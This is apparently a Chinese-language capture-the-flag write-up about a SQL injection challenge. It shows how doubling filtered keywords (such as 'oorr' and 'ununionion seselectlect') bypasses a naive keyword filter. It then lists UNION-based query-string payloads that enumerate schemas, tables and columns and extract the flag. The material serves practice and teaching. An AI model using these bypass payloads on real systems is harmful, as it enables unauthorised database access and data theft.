看题目,明显是一个SQL注入,打开网页,直接用万能密码登陆试试看:
不行,那就只能老老实实一步一步的走了,先order by:
错误!
这就很尬了,但我们可以从提示信息里发现一些有趣的东西,万能密码里的提示信息是or之后的信息,order by也是,而且是der…,那是不是可以推测,or是被检测到删除了?!回到万能密码再试一次,这次双写oorr:
成功登陆!
这说明我们的推测是正确的,那这里就是双写绕过了呗。
我们将提示错误的信息里被删除的关键词都双写,就可以正常的注入啦(在之后的注入里会发现from和where也被过滤了,另外注意,函数有些也包括这几个关键词,注意双写):
?username=1' oorrder bbyy 4%23&password=1
?username=1' ununionion seselectlect 1,2,database() %23&password=1
?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1
接下来就是字段名和数据了,但在这两个表里我都没找到flag。。。
经查阅资料(WP嘿嘿),发现找错库了!那就从头来,先爆出所有的库名:
?username=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23&password=1
flag嘛,那自然在ctf库里了(当然不一定,但大概率在):
(省略了order by直接查看了表名)
?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23&password=1
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23&password=1
?username=1' uniunionon selselectect 1,2,flag frfromom ctf.Flag%23&password=1
或
?username=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23&password=1